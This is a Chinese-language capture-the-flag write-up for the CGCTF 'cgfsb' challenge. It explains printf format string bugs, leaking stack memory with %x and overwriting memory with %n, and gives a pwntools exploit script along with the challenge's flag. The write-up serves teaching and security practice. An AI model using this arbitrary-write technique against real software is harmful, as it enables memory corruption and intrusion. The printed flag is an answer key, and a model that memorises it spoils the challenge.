题目说明
题目来源: CGCTF
题目: cgfsb
printf() 格式化字符串漏洞
漏洞说明
printf()函数的格式为1
printf("字符串",输出列表);
正常的printf()语句为1
2char a[11] = "Hello World";
printf("%s",a);
输出Hello World
如果printf()语句为1
2char a[11] = "Hello World";
printf(a);
虽然printf()语句还是能够正常输出,但是a变量会被当成字符串进行输出
如果a变量中包含基本的格式化字符串参数(%s,%n,%x等)就会造成可利用漏洞
更改一下代码,增加一个用户输入1
2
3
4
5
6
7
void main(){
char a[100] = "Hello World";
scanf("%s",a);
printf(a);
printf("\n");
}
编译后正常输入HelloWorld,返回正常
在HelloWorld后面加上一个格式化字符串%d
再多加几个%d
把格式化字符串改为%d,%x并且用.做分割
此时输出的数据都是当前执行的命令下方的数据,这就造成了内存泄露
接下来尝试一下覆盖内存数据,使用格式化字符串%n,%n的定义如下:
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
为了方便观察,打印后面十个内存数据1
2
3
4
5
6
7
8
void main(){
char a[100] = "Hello World";
scanf("%s",a);
printf(a);
printf("\n");
printf("%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n");
}
先查看正常输入AAAA的内存情况
查找输入变量的位置,AAAA(41414141),确定偏移量为6
尝试使用0x12345678覆盖输入变量的值
原先第六位AAAA(41414141)被覆盖为0x1234678(12345678)
也就实现了数据覆盖
解题步骤
拿到文件后先查看文件类型是32位的elf文件
检查安全机制几乎没有并且关闭了PIE内存随机
使用IDA32查看伪代码
发现存在上述的格式化字符串漏洞,而解题关键在于pwnme==8
所以我们尝试覆盖pwnme的值以满足要求得到flag
先用AAAA测试得到偏移量为10
在ida32中查看pwnme在内存中的位置为0x0804A068
由于没有开启PIE内存随机,所以常量pwnme的位置是固定的
写出exp1
2
3
4
5
6
7
8
9from pwn import *
context(os='linux',arch='i386')
p = remote('111.198.29.45','38137')
p.recvuntil("please tell me your name:")
p.send('AAAA')
p.recvuntil("leave your message please:")
dest = p32(0x0804A068)
p.send(dest+'AAAA%10$n')
p.interactive()
运行得到flag
flag:1
cyberpeace{e0a93f331f5d78af429a2eeac8e2a885}